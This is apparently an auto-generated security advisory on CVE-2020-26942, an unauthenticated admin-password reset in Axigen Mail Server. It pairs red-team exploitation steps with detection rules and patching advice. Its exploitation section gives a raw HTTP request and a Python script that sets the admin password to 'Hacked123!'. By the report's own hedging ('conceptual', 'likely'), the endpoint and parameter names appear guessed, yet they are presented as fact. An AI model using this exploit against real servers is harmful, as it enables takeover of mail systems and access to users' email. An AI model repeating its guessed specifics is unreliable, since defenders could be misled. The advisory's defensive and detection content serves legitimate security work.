CVE-2020-26942

Executive Summary

CVE-2020-26942 is a critical authentication bypass vulnerability in Axigen Mail Server versions 10.3.x before 10.3.1.27 and 10.3.2.x before 10.3.3.1. The flaw allows an unauthenticated attacker to send a crafted setAdminPassword operation request, effectively setting a new arbitrary password for the admin account without any prior authentication. This grants full administrative control over the mail server, enabling data exfiltration, email interception, and further lateral movement within the network.

The vulnerability stems from missing authentication checks on the administrative API endpoint responsible for password changes. The CVSS score is 10.0 (Critical) due to the network-based, low-complexity attack vector requiring no privileges or user interaction, with high impact on confidentiality, integrity, and availability.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone software product (Axigen Mail Server) and does not involve package manager dependencies.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full access to all emails and data.
• Integrity Impact: High (I:H) – Ability to modify server configuration and data.
• Availability Impact: High (A:H) – Potential to disrupt mail services.

Threat Level: Critical. Immediate patching is required.

Deep Dive & Mechanics

The vulnerability exists in the administrative web interface of Axigen Mail Server. The server exposes an API endpoint for administrative operations, including password changes. The setAdminPassword operation is intended to be called only by authenticated administrators. However, due to missing authentication checks, the endpoint processes the request without verifying the identity of the requester.

Attack Flow:

1. An attacker identifies a vulnerable Axigen Mail Server (e.g., via Shodan or banner grabbing).
2. The attacker sends a crafted HTTP POST request to the administrative API endpoint with the setAdminPassword operation and a new password value.
3. The server processes the request and sets the admin password to the attacker-specified value.
4. The attacker then logs in as the admin with the new password, gaining full control.

Root Cause: The server fails to validate the session or authentication token before executing the password change operation. This is a classic case of missing authentication (CWE-306).

Vulnerable vs. Patched Code

The vulnerable code likely resides in the authentication middleware or the API handler for password changes. In the vulnerable version, the handler does not check for a valid session or token before processing the setAdminPassword request.

Vulnerable Code (Conceptual):

# Vulnerable: No authentication check
def handle_set_admin_password(request):
    new_password = request.POST.get('new_password')
    # Directly sets the password without verifying identity
    set_admin_password(new_password)
    return "Password changed successfully"

Patched Code (Conceptual):

# Patched: Authentication check added
def handle_set_admin_password(request):
    if not is_authenticated(request):
        return "Authentication required", 401
    new_password = request.POST.get('new_password')
    set_admin_password(new_password)
    return "Password changed successfully"

The patch adds a call to is_authenticated() which verifies the session token or credentials before allowing the password change.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Axigen Mail Server (version 10.3.x < 10.3.1.27 or 10.3.2.x < 10.3.3.1).
• Network access to the server's administrative web interface (typically on port 9000 or 443).

Exploitation Steps:

1. Identify the target server and confirm it is running a vulnerable version.
2. Send the following HTTP request to the admin API endpoint:

POST /admin/api HTTP/1.1
Host: target-server:9000
Content-Type: application/x-www-form-urlencoded

operation=setAdminPassword&new_password=Hacked123!

3. The server responds with a success message.
4. Log in to the admin interface using the new password (Hacked123!).
5. Access all mailboxes, logs, and configuration settings.

Automated Exploit (Python):

import requests

target = "http://target-server:9000/admin/api"
data = {
    "operation": "setAdminPassword",
    "new_password": "Hacked123!"
}
response = requests.post(target, data=data)
if "success" in response.text.lower():
    print("Password changed successfully. Login with password: Hacked123!")
else:
    print("Exploit failed.")

Blue Team

Detection:

• Monitor for unusual HTTP POST requests to /admin/api with operation=setAdminPassword.
• Alert on any successful password change events without prior authentication.
• Use the Sigma and Suricata rules provided in the Detection Engineering section.

Hunting:

• Search logs for the string setAdminPassword in HTTP requests.
• Look for multiple failed login attempts followed by a successful login from a new IP.

Containment:

• Immediately isolate the affected server from the network.
• Reset all admin passwords and review user accounts for unauthorized changes.
• Apply the vendor patch or upgrade to a non-vulnerable version.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /admin/api with operation=setAdminPassword parameter.
  • Successful login from an IP address not previously seen in admin logs.
  • Unusual outbound connections from the mail server (e.g., data exfiltration).

• File IOCs:

  • Modified configuration files (e.g., admin.conf, users.xml).
  • New or modified log files indicating password changes.

• Log IOCs:

  • Log entries showing setAdminPassword operation without a preceding authentication event.
  • Log entries showing admin login from an unrecognized IP.

Detection Engineering

YARA Rule

rule CVE_2020_26942_Axigen_Admin_Password_Reset {
    meta:
        description = "Detects HTTP requests exploiting CVE-2020-26942 in Axigen Mail Server"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2020-26942"
    strings:
        $s1 = "setAdminPassword" ascii wide nocase
        $s2 = "new_password" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Axigen Mail Server Admin Password Reset Attempt
id: 8f4b3c2a-1e5d-4f7b-9a0c-3d6e8f2b1a4c
status: experimental
description: Detects attempts to exploit CVE-2020-26942 by sending a setAdminPassword request
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: axigen
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'setAdminPassword'
    condition: selection
falsepositives:
    - Legitimate admin password changes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2020-26942 Axigen Mail Server Admin Password Reset Attempt"; flow:to_server; content:"POST"; http_method; content:"/admin/api"; http_uri; content:"setAdminPassword"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Axigen Mail Server version 10.3.1.27 or 10.3.3.1 (or later).
2. Workaround: If patching is not immediately possible, restrict network access to the administrative web interface (port 9000) to trusted IPs only using a firewall or reverse proxy.
3. Monitor: Enable detailed logging for all administrative actions and review logs for suspicious activity.

Long-Term Measures:

• Implement multi-factor authentication (MFA) for all administrative accounts.
• Regularly audit and rotate admin passwords.
• Deploy a Web Application Firewall (WAF) with rules to block requests containing setAdminPassword from untrusted sources.
• Conduct periodic vulnerability scans and penetration tests.

Valters IT Signature

Report generated by Valters IT DevSecOps & CTI Expert